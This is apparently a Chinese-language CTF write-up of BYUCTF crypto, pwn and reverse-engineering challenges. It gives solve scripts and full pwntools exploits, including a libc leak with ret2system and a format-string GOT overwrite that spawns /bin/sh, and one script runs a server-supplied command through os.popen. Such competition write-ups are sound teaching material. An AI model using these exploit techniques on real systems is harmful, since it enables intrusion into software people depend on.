幾周沒會的比賽了,都是一題游。這周的BYU還不錯,難度適中,只是時間有點短。周末時間不夠。
Crypto
Many Primes
from Crypto.Util.number import bytes_to_long, getPrime
import randomflag = open("flag.txt").read().encode()
flag = bytes_to_long(flag)
n = 1
while n.bit_length()<4096:i = random.randint(10,16)reps = random.randint(2,5)p = getPrime(i)if n%p !=0:n*=p**reps
e = 65537
encryptedFlag = pow(flag, e, n)print(f"n = {n}")
print(f"e = {e}")
print(f"flag = {encryptedFlag}")
很顯然這個n是由一系列小素數組成的可以很容易分解。
n = 84957339878841249042661992015318775914153057891067549723671982778975957526984361748735670333426792012519248099265537115315835602057882318543112781196438953840653279029957533208045448649312183873062132255928109150470090982541502003013666939934181416473581073990221728448342533549843710383544743220364127453679761909368982493089369740815066106196444062558446312836612656666434089655206650558129894180991572670565328419648196602807190683488653617068325238542193033423978598565191919683033996144778397817249870630736098769732268174866389943010980427234356604782502318622853423388492983406635687647680770869588481426436811952986075832678887752706507835771052708232550208582584262345437818916577580806059662945066377375408508814381061305598911972399165132279018674832071994673661875185328115121586302490349253912699566783660070599552395205352917554104371784905394477629626963439266490743240318198729049054547013391348516066097465180775402810975266096525722415778248668765855332776864126033830969325570615444114396786906102536716873598804164196155179833683285635189223166238933318740720918827120989416013091102543382987278707392961157272937695585450287755023671116911370689655292160336521776501052329465384315585357461493649222793172462113102463
e = 65537
flag = 45146787828557679140423580221442956925310977371109091853462843177826294442352634580160310989152235297235514141658881390908592470683795245870619319983451904537192781823855678086088663405872526980084960008183831288044960349605168173490367894375757787452024287989993362954206286853190401541606518731317814018817491109177360761859453002792899864984488524864028766239497641048919565458281765487932324396702580026094746189401141448947513512730220423629277692258527951902039531739842965067285622196418171785466236294324572986853688947727117303227689578683403160426800470263102483582737614730930657875098843867256713854784720793138228809768453579721222271047690131897888999884098995408016105397663714102200568327066068146128637742779637777800612639149916508879936573438036837445673606364763612971401591822166427703422764153960398983100036398400304771376839125152709954274549463602659761299411215766075895177151923436509501196662786766042103493713861194722614436307437016043581292216432028543923347478884441934980948114759937955940408027377458938151172837554432746134399838012547867483350557859826433321810794053681726512471838143910118068486851496148663526948219071671481909824342580081675074372829356225227848676981201731545407466857723499918017from Crypto.Util.number import *ps = factor(n)
phi=1
for v in ps:phi *= v[0]^(v[1]-1)*(v[0]-1)d = inverse_mod(e,phi)
m = pow(flag,d,n)
long_to_bytes(int(m))
#byuctf{3ulers_ph1_function_15_v3ry_us3ful_4nd_th15_I5_a_l0ng_fl4g}
PEM
$flag \in \sqrt N$
給了一個公鑰,提示顯然flag=m^2
long_to_bytes(isqrt(n))
#b'fjagkdflgfkdsjgfdltyugvjcbghjqfsdjvfdhbjfd byuctf{P3M_f0rm4t_1s_k1ng} cmxvblalsfiuqeuipplvdldbnmjzxydhjgfdgppsksjq'
?Real Smooth
#!/usr/local/bin/pythonfrom Crypto.Cipher import ChaCha20
from Crypto.Random import get_random_bytes
from secrets import FLAGkey = get_random_bytes(32)
nonce = get_random_bytes(8)cipher = ChaCha20.new(key=key, nonce=nonce)
print(bytes.hex(cipher.encrypt(b'Slide to the left')))
print(bytes.hex(cipher.encrypt(b'Slide to the right')))try:user_in = input().rstrip('\n')cipher = ChaCha20.new(key=key, nonce=nonce)decrypted = cipher.decrypt(bytes.fromhex(user_in))if decrypted == b'Criss cross, criss cross':print("Cha cha real smooth")print(FLAG)else:print("Those aren't the words!")
except Exception as e:print("Those aren't the words!")
給了用同樣key加密的兩段明文(對于chacha20加密來說,這兩段可以看成連在一起的一段),要求給出一個密文解密與指定明文相同。chacha20其實就是生成個加密流,然后與明文異或得到密文。所以拿密文與明文1明文2異或就行。
from pwn import *
context.log_level = 'debug'p = remote('smooth.chal.cyberjousting.com', 1350)v = b'Slide to the left' + b'Slide to the right'
c = bytes.fromhex(p.recvline().strip().decode()) + bytes.fromhex(p.recvline().strip().decode())s = xor(v,c)v = b'Criss cross, criss cross'
c = xor(v,s[:len(v)])
p.sendline(c.hex())p.interactive()
#byuctf{ch4ch4_sl1d3?...n0,ch4ch4_b1tfl1p}
Cycles
from Crypto.Util.number import long_to_bytes, bytes_to_long, isPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad# Can you undo this?
from hidden import p,N,a,flag,g# these are for you :)
assert isPrime(p)
assert len(bin(a)) < 1050hint = pow(g, a, p)
key = long_to_bytes(a)[:16]cipher = AES.new(key, AES.MODE_ECB)
ct = cipher.encrypt(pad(flag, AES.block_size))# Now for your hints
print(f"g = {g}")
print(f"P = {p}")
print(f"ciphertext = {ct}")
print(f"Hint = {hint}") #a=p-1
這題其實就是求a,給的提示是g^a=1 mod p 根據費小這個a應該是p-1但試了一下不對,再根據a小于1050位,猜a = k*(p-1)爆破一下
from tqdm import trange
for i in trange(1,1<<26):a = (P-1)*icipher = AES.new(long_to_bytes(a)[:16], AES.MODE_ECB)m = cipher.decrypt(ciphertext)if b'byu' in m:print(m)#byuctf{1t_4lw4ys_c0m3s_b4ck_t0_1_21bcd6}
Choose Your RSA
#!/usr/local/bin/pythonfrom Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, getPrime
from Crypto.Util.Padding import pad
import osprint("[+] Generating values...", flush=True)
flag = open("/app/flag.txt").read().encode()
key = os.urandom(160)
p, q, n, e = [], [], [], []
for i in range(3):p.append(getPrime(1024+512*i))q.append(getPrime(1024+512*i))n.append(p[i]*q[i])cipher = AES.new(key[:16], AES.MODE_ECB)
print(cipher.encrypt(pad(flag, AES.block_size)).hex())
print("We will encrypt the key three times, and you can even choose the value of e. Please put your distinct e values in increasing order.")try:e = list(map(int, input().split(" ")))assert e[0]>1assert e[1]>e[0]assert e[2]>e[1]
except Exception as e:print("sorry, invalid input")quit()key = bytes_to_long(key)
for i in range(3):print(f"n{i}=",n[i], sep="")print(f"c{i}=", pow(key, e[i], n[i]), sep="")
這里要求輸入3個e, 1<e0<e1<e2,這里的key是160*8位,n分別是2048+1024*e位,如果輸入2則正好m^2比n大,第1個想到的就是CRT,輸入2,4,8結果3個n的位置其實還是不如m^8大。然后用2,3,6成功。不過看了官方WP,其實只用2,4就可以m^4=5120位正好與兩個n的和相等。
Hash Based Cryptography
#!/usr/local/bin/pythonimport hashlib
from secrets import KEY, FLAGdef gen_otp(key: bytes, message: bytes) -> bytes:iv = keyotp = b''for _ in range(len(message)//20):iv = hashlib.sha1(iv).digest()otp += ivreturn otpdef pad(message):if type(message) is str:message = message.encode()return message + bytes([(20 - len(message)) % 20]) * ((20 - len(message)) % 20)def unpad(message):if message[-1] > 20 or message[-1] != message[-message[-1]]:print("Padding error")raise ValueError("Invalid padding")return message[:-message[-1]]def encrypt(key, message) -> str:if type(key) is str:key = key.encode()return bytes([a^b for a, b in zip(pad(message), gen_otp(key, pad(message)))]).hex()def decrypt(key, message) -> str:if type(key) is str:key = key.encode()try:message = bytes.fromhex(message)return unpad(bytes([a^b for a, b in zip(message, gen_otp(key, pad(message)))])).decode(errors='ignore')except Exception as e:return f"Error decrypting"def test():print(encrypt("key", "hello world"))print(decrypt("key", "ce4a4e49d050c8c3b9ab95e62330713f787a7ed7"))def main():print("I just created this encryption system. I think it's pretty cool")print("Here's the encrypted flag:")print(encrypt(KEY, FLAG))print("Here, you can try it out, too:")while True:user_input = input(" > ")decrypted = decrypt(KEY, user_input)if FLAG in decrypted or "byuctf" in decrypted:print("I didn't make it that easy")continueprint(decrypted.encode())if __name__ == "__main__":main()
這個加密其實就是用key異或,然后提供解密,但要求不能與flag相同也不能用byuctf所以改第1個字符就OK了
└─$ nc hash.chal.cyberjousting.com 1351
I just created this encryption system. I think it's pretty cool
Here's the encrypted flag:
36622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf5606981
Here, you can try it out, too:> 36622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf56069fd
I didn't make it that easy> 37622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf56069fd
b'cyuctf{my_k3y_4nd_m3ss4g3_w3r3_th3_s4m3'
#byuctf{my_k3y_4nd_m3ss4g3_w3r3_th3_s4m3}
Anaken21sec1/2
這倆題加密是一樣的,只是第1題給了key要求解密,第2題要求求key再解密,所以放一起了。
import numpy as np
from random import choiceA = np.array([[1, 7, 13, 19, 25, 31],[2, 8, 14, 20, 26, 32],[3, 9, 15, 21, 27, 33],[4, 10, 16, 22, 28, 34],[5, 11, 17, 23, 29, 35],[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],[35, 29, 23, 17, 11, 5],[34, 28, 22, 16, 10, 4],[33, 27, 21, 15, 9, 3],[32, 26, 20, 14, 8, 2],[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],[32, 26, 20, 14, 8, 2],[33, 27, 21, 15, 9, 3],[34, 28, 22, 16, 10, 4],[35, 29, 23, 17, 11, 5],[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],[8, 2, 10, 4, 12, 6],[19, 13, 21, 15, 23, 17],[20, 14, 22, 16, 24, 18],[31, 25, 33, 27, 35, 29],[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],[1, 11, 15, 4, 29, 18],[7, 13, 14, 10, 16, 17],[20, 21, 27, 23, 24, 30],[19, 8, 33, 22, 26, 36],[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]def getRandomKey():letters = "abcdefghijklmnopqrstuvwxy"key = choice(letters)for i in range(1,11):oldletter = key[i-1]newletter = choice(letters)oldletterNum = ord(oldletter)-97newletterNum = ord(newletter)-97while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:newletter = choice(letters)newletterNum = ord(newletter)-97key+=newletterreturn keydef permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[i,j] = blockM[index//6, index%6]return finalBlockMdef add(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] +=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]elif count == 3:blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]else:blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]return np.mod(blockM, 3)def encrypt(plaintext, key):plaintext += "x"*((12-len(plaintext)%12)%12)blocks = [plaintext[12*i:12*(i+1)] for i in range(0,len(plaintext)//12)]keyNums = [ord(key[i])-97 for i in range(len(key))]resultLetters = ""#do the block permutations and additionsfor block in blocks:#make 6 by 6 matrixblockM =np.zeros((6,6))for (i,letter) in enumerate(block[0:6]):letterNum = ord(letter)-96blockM[0,i] = letterNum//9blockM[1,i] = (letterNum%9)//3blockM[2,i] = letterNum%3for (i,letter) in enumerate(block[6:]):letterNum = ord(letter)-96blockM[3,i] = letterNum//9blockM[4,i] = (letterNum%9)//3blockM[5,i] = letterNum%3#scramble matrixfor keyNum in keyNums:blockM = permute(blockM,(keyNum//5)%5)blockM = add(blockM, keyNum%5)#get resulting letters from matrixfor i in range(6):resultLetterNum = int(9*blockM[i,0]+3*blockM[i,1]+blockM[i,2])if resultLetterNum == 0:resultLetters += "0"else:resultLetters += chr(resultLetterNum+96)for i in range(6):resultLetterNum = int(9*blockM[i,3]+3*blockM[i,4]+blockM[i,5])if resultLetterNum == 0:resultLetters += "0"else:resultLetters += chr(resultLetterNum+96)#rearrange ciphertext according to the keyreducedKeyNums = [][reducedKeyNums.append(x) for x in keyNums if x not in reducedKeyNums]letterBoxes = [[] for i in reducedKeyNums]finalEncryptedText = ""for i in range(len(resultLetters)):letterBoxes[i%len(reducedKeyNums)].append(resultLetters[i])for i in range(len(reducedKeyNums)):nextLowest = reducedKeyNums.index(min(reducedKeyNums))reducedKeyNums[nextLowest] = 27for letter in letterBoxes[nextLowest]:finalEncryptedText+=letterreturn(finalEncryptedText)if __name__ == "__main__":plaintext = input("What would you like to encrypt?\n")plaintextList = [letter.lower() for letter in plaintext if letter.isalpha()]plaintext = ""for letter in plaintextList:plaintext += letterkey = input("Enter the encryption key. Leave blank to randomly generate.\n")if key == "":key = getRandomKey()print(f"Your key is: {key}")print(encrypt(plaintext, key))
加密過程是這樣的:
1,把明文pad成12的整數倍。明文只能是a-z的小寫字母。
2,把明文每12字節一塊加密
? ? ? ? 1,把12個字符分兩組,第1組按字母序號+1的3進制放到6*6矩陣的前3行每列對應1個字符,第2組同樣的方法放后3行。
? ? ? ? 2,依將按11位key的序號對矩陣作sbox和add操作,而key的值用來表示操作的矩陣和add的位置。
? ? ? ? 3,將上步結果,前3列和后3列分別看成3進制得到對應的字符(0abc...)
3,所有塊連接到一起后用柵欄的方法分成11組,用key的值從小到大將這些組重組成密文。
求key
在沒有key的情況,首先就是求key.這里允許20次交互。
1,在加密的第3步是按照key的大小重組,所以這里先加密10個塊,然后再生成一個10個塊連在一起的,這樣就得到10組未組合的密文和這10組密文組合后的密文。這里用10組是因為key的長度是因為每個塊12字符,10*12=120與11塊密文重組的11*11只差1個,把10*12個密文分11組,有10個組會有1個塊是兩個字符其它都是1個字符。
單獨密文 'splfzkkrwdgx', 'apmgziosweas', 'phkbojvbuldw', 'yhi0okt0umgx', 'ghjaoixaunas', 'mxqegjdkvudw', 'vxocgkbivvgx', 'dxpdgifjvwas', 'jteh0svbhcmw', 'stcf0tt0hdpx'
組合密文 'sasjuaegfetpepgxivid0tlplyasjvjh0fzvihuvasshzokhnmgxih0kwb0odoxcskmhmgdwkvbfrgotjxvdmwtwsboxqxwjpxdadwkukcgvcgxiu0agbptd'
將全部密文按大概10-11一段切開換行,并且每段首字符為第1個單獨密文的1個字符(其中有一個是前兩個字符),例子中開頭分別是s p l ... gx (這里恰巧gx趕在最后,不一定每回都是最后)
'''
#從第2列開始雖然還是那些字符,但順序并不相同
s as j u a e g f e t
p e p gx i v i d 0 t
l p l y as j v j h 0
f z v i h u v as s h
z o k h n m gx i h 0
k w b 0 o d o x c s
k m h m g dw k v b f
r g o t j x v d mw t
w s b o x q x w j px
d a dw k u k c g v c
gx i u 0 a g b p t d#當確定第1組的雙字符是gx時,所有密文的雙字符位置是相同的
splfzkkrwd gx
apmgzioswe as
phkbojvbul dw
yhi0okt0um gx
ghjaoixaun as
mxqegjdkvu dw
vxocgkbivv gx
dxpdgifjvw as
jteh0svbhc mw
stcf0tt0hd px
'''
然后按列將雙字符出現的位置記錄下來:11,1,10,2,3,7,5,4,8,9,6 最后一個6是這些位置與未出現的一個這里只能得到10個位置,最后一個就是未出現的
這里的1-11是表示key的大小順序,并不是key的值。
爆破key
由于已經得到key里字符的位置,這里爆破11個字符時就不用爆破所以排列而是得到C25,11的組合就行,再得到上步得到的順序排成key即可,并通過encrypt來驗證。這題實際爆破了5分鐘,并不算長。估計最長會30分鐘。
import encryptcipher ='uoan0zhemdqv0fmaqcmbkxxotmzswjyavoox'
order = [11,1,10,2,3,7,5,4,8,9,6]
#取第1組密文爆破
m1 = 'a'*12
c1 = 'splfzkkrwdgx'import itertools
from math import comb
import tqdmdef attack(v):tkey = ''.join([v[order[i]-1] for i in range(11)])if encrypt.encrypt('a'*12,tkey) == 'splfzkkrwdgx':print('key=', tkey)return Truetab = [chr(97+i) for i in range(25)]for v in tqdm.tqdm(itertools.combinations(tab, 11), total=comb(25,11)):if attack(v):break
解密
1,先把組合后的密文恢復成12字節的塊,原題的命令太惡心了,越看越亂。
def dec1(c,key):#切開#1,恢復順序#恢復順序clen = len(c)nkey = [ord(i)-97 for i in key]vv = sorted(nkey)#print(nkey,vv)letterBoxes = ['']*11#按key大小順序組合bsize = clen//11rr = clen - bsize*11 #<rr的取bsize+1字符,其它取bsize個f = vv[rr-1] #<=f 則每塊bsize+1#print(bsize,rr,f)rc = [0]*11for i in vv:if nkey.index(i) < rr:rc[nkey.index(i)] = c[:bsize+1]c = c[bsize+1:]else:rc[nkey.index(i)] = c[:bsize]c = c[bsize:]print(rc)rc2 = ''for i in range(bsize+1):for j in range(11):if rc[j] == '': continuerc2+=rc[j][:1]rc[j]=rc[j][1:]rc3 = [rc2[i:i+12] for i in range(0,clen,12)]#print(rc,rc2,rc3)return rc3
再對每個塊解密,3進制放入矩陣,add的逆向,sbox逆向。
import numpy as np
from random import choiceA = np.array([[1, 7, 13, 19, 25, 31],[2, 8, 14, 20, 26, 32],[3, 9, 15, 21, 27, 33],[4, 10, 16, 22, 28, 34],[5, 11, 17, 23, 29, 35],[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],[35, 29, 23, 17, 11, 5],[34, 28, 22, 16, 10, 4],[33, 27, 21, 15, 9, 3],[32, 26, 20, 14, 8, 2],[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],[32, 26, 20, 14, 8, 2],[33, 27, 21, 15, 9, 3],[34, 28, 22, 16, 10, 4],[35, 29, 23, 17, 11, 5],[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],[8, 2, 10, 4, 12, 6],[19, 13, 21, 15, 23, 17],[20, 14, 22, 16, 24, 18],[31, 25, 33, 27, 35, 29],[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],[1, 11, 15, 4, 29, 18],[7, 13, 14, 10, 16, 17],[20, 21, 27, 23, 24, 30],[19, 8, 33, 22, 26, 36],[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]def getRandomKey():letters = "abcdefghijklmnopqrstuvwxy"key = choice(letters)for i in range(1,11):oldletter = key[i-1]newletter = choice(letters)oldletterNum = ord(oldletter)-97newletterNum = ord(newletter)-97while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:newletter = choice(letters)newletterNum = ord(newletter)-97key+=newletterreturn keydef permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[i,j] = blockM[index//6, index%6]return finalBlockMdef add(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] +=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]elif count == 3:blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]else:blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]return np.mod(blockM, 3)def sub(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] -=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]-blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[:3,:3]-blockM[3:,3:]elif count == 3:blockM[3:,:3] = blockM[3:,:3]-blockM[:3,3:]else:blockM[:3,3:] = blockM[:3,3:]-blockM[3:,:3]return np.mod(blockM, 3)def r_permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[index//6, index%6] = blockM[i,j]return finalBlockMdef dec1(c,key):#切開#1,恢復順序#恢復順序clen = len(c)nkey = [ord(i)-97 for i in key]vv = sorted(nkey)#print(nkey,vv)letterBoxes = ['']*11#按key大小順序組合bsize = clen//11rr = clen - bsize*11 #<rr的取bsize+1字符,其它取bsize個f = vv[rr-1] #<=f 則每塊bsize+1#print(bsize,rr,f)rc = [0]*11for i in vv:if nkey.index(i) < rr:rc[nkey.index(i)] = c[:bsize+1]c = c[bsize+1:]else:rc[nkey.index(i)] = c[:bsize]c = c[bsize:]print(rc)rc2 = ''for i in range(bsize+1):for j in range(11):if rc[j] == '': continuerc2+=rc[j][:1]rc[j]=rc[j][1:]rc3 = [rc2[i:i+12] for i in range(0,clen,12)]#print(rc,rc2,rc3)return rc3def dec_block(block,key):keyNums = [ord(i)-97 for i in key]#make 6 by 6 matrixblockM =np.zeros((6,6))for i in range(6):if block[i] == '0':r = 0else:r = ord(block[i])-96blockM[i,0] = r//9 blockM[i,1] = r%9//3blockM[i,2] = r%3for i in range(6):if block[6+i] == '0':r = 0else:r = ord(block[6+i])-96blockM[i,3] = r//9 blockM[i,4] = r%9//3blockM[i,5] = r%3#print(blockM)#scramble matrixfor keyNum in keyNums[::-1]:blockM = sub(blockM, keyNum%5)blockM = r_permute(blockM,(keyNum//5)%5)#print(blockM)b = ''for i in range(6):v = blockM[0,i]*9 + blockM[1,i]*3+ blockM[2,i]b += chr(int(v)+96)for i in range(6):v = blockM[3,i]*9 + blockM[4,i]*3+ blockM[5,i]b += chr(int(v)+96)return bdef decrypt(c,key):return ''.join([dec_block(i,key) for i in dec1(c,key)])
PWN
Minecraft YouTuber
程序快200行了,主題就是由于user_t和nametag_t兩個結構大小相同,先在注冊個用戶,然后修改last再注銷后再注冊利用那個殘留1337就給flag
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>__attribute__((constructor)) void flush_buf() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);
}typedef struct {long uid;char username[8];long keycard;
} user_t;typedef struct {long mfg_date;char first[8];char last[8];
} nametag_t;long UID = 0x1;
char filename[] = "flag.txt";
user_t* curr_user = NULL;
nametag_t* curr_nametag = NULL;void init() {setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF, 0);
}void register_user() {printf("WELCOME!! We're so excited to have you here! Tell us your username / tag and we'll get you set up with access to the facilities!\n");curr_user = (user_t*)malloc(sizeof(user_t));curr_user->uid = UID++;printf("Please go ahead an type your username now: \n");read(0, curr_user->username, 8);
}void log_out() {free(curr_user);curr_user = NULL;if (curr_nametag != NULL) {free(curr_nametag);curr_nametag = NULL;}
}int print_menu() {int choice;printf("What would you like to do now?\n");printf("1. Register a new user\n");printf("2. Learn about the Time Keepers\n");printf("3. Collect gear\n");printf("4. Elevate to super user\n");printf("5. Change characters\n");printf("6. Leave\n");// 7 is try to free loki but it's not technically an option, you have to be rebellious to get therescanf("%d", &choice);if (choice < 1 || choice > 7) {printf("Invalid choice. You broke the simulation\n");return 0;}return choice;
}int main(void) {init();srand(time(NULL)); int gear;printf("Hello! My name is Miss Minutes, and I'll be your helper here at the TVA!!\nHow about we get you oriented first!\nThe only rule is that we under no circumstances can free Loki... he's locked up for a reason!\n");int input = 1;while (input) {switch (input) {case 1: // register a new userregister_user();break;case 2:printf("The Time Keepers are the three beings who created the TVA and the Sacred Timeline. They are powerful beings who exist at the end of time and are responsible for maintaining the flow of time.\n");break;case 3: // collect gearif (curr_user == NULL) {printf("You must register a user first!\n");break;}gear = rand() % 5 + 1;if (curr_nametag != NULL) {free(curr_nametag);}switch (gear) {case 1:printf("You have received a Time Twister! This powerful device allows you to manipulate time and space.\n");break;case 2:printf("You have received a Name Tag! Please input your first and last name:\n");curr_nametag = (nametag_t*)malloc(sizeof(nametag_t));curr_nametag->mfg_date = (long)time(NULL);read(0, curr_nametag->first, 8);read(0, curr_nametag->last, 8);break;case 3:printf("You have received a Time Stick! This device allows you to reset the flow of time in a specific area.\n");break;case 4:printf("You have received a Time Loop! This device allows you to trap someone in a time loop.\n");break;case 5:printf("You have received a Time Bomb! This device allows you to create a temporal explosion.\n");break;}break;case 4:if (curr_user == NULL) {printf("You must register a user first!\n");break;}if (curr_user->uid >= 0x600000) {printf("Well, everything here checks out! Go ahead and take this key card!\n");curr_user->keycard = 0x1337;} else {printf("Unfortunately, it doesn't look like you have all the qualifications to get your own key card! Stay close to Miss Minutes and she should be able to get you anywhere you need to go...\n");}break;case 5:if (curr_user == NULL) {printf("You must register a user first!\n");break;}log_out();printf("You have been logged out.\n");printf(". "); sleep(1);printf(". "); sleep(1);printf(". \n"); sleep(1);register_user();break;case 6:input = 0;break;case 7:if (curr_user == NULL) {printf("You must register a user first!\n");break;}if (curr_user->keycard == 0x1337) {printf("You have freed Loki! In gratitude, he offers you a flag!\n");FILE* flag = fopen(filename, "r");if (flag == NULL) {printf("Flag file not found. Please contact an admin.\n");return EXIT_FAILURE;} else {char ch;while ((ch = fgetc(flag)) != EOF) {printf("%c", ch);}}fclose(flag);exit(0);break;} else {printf("EMERGENCY EMERGENCY UNAUTHORIZED USER HAS TRIED TO FREE LOKI!\n");printf("Time police rush to the room where you stand in shock. They rush you away, take your gear, and kick you back to your own timeline.\n");log_out();input = 0;break;}}if (input != 0) {input = print_menu();}}return input;
}
from pwn import *
context(arch='amd64', log_level='debug')p = remote('minecraft.chal.cyberjousting.com', 1354)p.sendafter(b"Please go ahead an type your username now: \n", p64(0x1337))
while True:p.sendlineafter(b"6. Leave\n", b'3')v = p.recvline()if v == b"You have received a Name Tag! Please input your first and last name:\n":p.send(p64(0x1337)*2)breakp.sendlineafter(b"6. Leave\n", b'5')
p.sendafter(b"Please go ahead an type your username now: \n", p64(0x1337))p.sendlineafter(b"6. Leave\n", b'7')p.interactive()
#byuctf{th3_3xpl01t_n4m3_1s_l1t3r4lly_gr00m1ng}
Game of Yap
game調用play,這里有個溢出。
int game()
{play();return puts("You can't yap!");
}ssize_t play()
{char buf[256]; // [rsp+0h] [rbp-100h] BYREFreturn read(0, buf, 0x256uLL);
}
有溢出但是沒有相應的gadget所以這里需要用幾個gadget繞一下
0x1266? puts 這里返回時rsi寄存器會被置成libc的地址
0x128a? printf(%p,) 利用rsi殘留的值泄露libc
第1步利用第1個game的溢出覆蓋返回地址尾字節跳到yap(去掉push rbp)泄露加載地址
第2步利用上邊兩個gadget先用1266填充rsi再用128a得到libc然后調用main重入
第3步sysem
from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./game-of-yap')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8.1_amd64/libc.so.6')#p = process('./game-of-yap')
p = remote('yap.chal.cyberjousting.com', 1355)p.sendafter(b"Here's your first chance...\n", b'\0'*0x108+p8(0x7d))elf.address = int(p.recvline(),16) - 0x1210
print(f"{elf.address = :x}")#gdb.attach(p, "b*0x555555555239\nc")p.sendafter(b"One more try...\n", b'\0'*0x108+flat(elf.address+0x1266, 0, elf.address+0x128a,0, elf.address+0x1254))
p.recvuntil(b"You can't yap!\n")libc.address = int(p.recvline(), 16) - 0x204643
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
p.send(b'\0'*0x108 + flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
p.interactive()
Goat
這是個格式化字符串的題,有3個小點
1是有前異輸出24字節,所以每次輸出需要減掉這個數
2是字節數比較少每次只能改一點,而且地址需要預存
int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v4[2]; // [rsp+0h] [rbp-C0h] BYREFchar s1[64]; // [rsp+10h] [rbp-B0h] BYREFchar s[104]; // [rsp+50h] [rbp-70h] BYREFunsigned __int64 v7; // [rsp+B8h] [rbp-8h]v7 = __readfsqword(0x28u);v4[0] = 'TAOG';v4[1] = 0LL;snprintf(s,0x5FuLL,"Welcome to the %s simulator!\nLet's see if you're the %s...\nWhat's your name? ",(const char *)v4,(const char *)v4);printf(s);fgets(s1, 32, stdin);snprintf(s, 0x5FuLL, "Are you sure? You said:\n%s\n", s1);printf(s);fgets(s1, 16, stdin);if ( !strncmp(s1, "no", 2uLL) ){puts("\n?? Why would you lie to me about something so stupid?");}else{snprintf(s1, 0x3FuLL, "\nSorry, you're not the %s...", (const char *)v4);puts(s1);}return 0;
}
這里通過修改got表,改變程序流程,先是把strncmp 改成main實現循環。
因為改成main后每次棧都會抬高,而輸入長度限制沒法一次寫兩個地址(需要改3字節,一次改4字節字符數太大了),所以先執行兩次把got.printf的地址留在棧里,最后一次把printf改為system,然后輸入帶;/bin/sh的值執行shell
from pwn import *
import os
context(arch='amd64', log_level='debug')elf = ELF('./goat')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8.1_amd64/libc.so.6')#p = process('./goat')
p = remote('goat.chal.cyberjousting.com', 1349)#pow
p.recvline()
v = p.recvline().decode().strip()
print(v)
a = os.popen(v)
p.send(a.read().encode())'''
18:00c0│ rbp 0x7fffffffdb50 —? 0x7fffffffdbf0 —? 0x7fffffffdc50 ?— 0
19:00c8│+008 0x7fffffffdb58 —? 0x7ffff7c2a1ca ?— mov edi, eax
'''#strncmp->main
p.sendafter(b"name? ", f'%{0x11f0-24}c%11$hn%30$p %31$p '.encode().ljust(0x18,b'\0')+p64(0x404000))
p.recvuntil(b'0x')
stack = int(p.recvuntil(b' '), 16) - 0xa0
libc.address = int(p.recvuntil(b' '), 16) - 0x2a1ca
print(f"{stack = :x} {libc.address = :x}")
p.sendline()
p.sendlineafter(b"name? ",b'')p.send(flat(0,elf.got['printf']))
p.sendlineafter(b"name? ",b'')
p.send(flat(0,elf.got['printf']+1))
p.sendlineafter(b"name? ",b'')
p.sendline(b'')#gdb.attach(p, "b*0x4012b0\nc")
#printf->system
system = p64(libc.sym['system'])
v1 = system[0]
v2 = u16(system[1:3])
p.sendlineafter(b"name? ", f'%{v1-24}c%87$hhn%{(v2-v1)&0xffff}c%61$hn'.encode())p.sendline(b';/bin/sh\0')p.interactive()
*MIPS
這種不大關心,為啥弄這么小眾的題又都是入門
*TCL
還以為主辦方給誰作廣告呢。
看了WP拿來也沒弄成。https://github.com/BYU-CSA/BYUCTF-2025/blob/main/
REV
LLIR
非常長,基本上就是v[33]=v[32]+1這種判斷,寫成不好認的語言
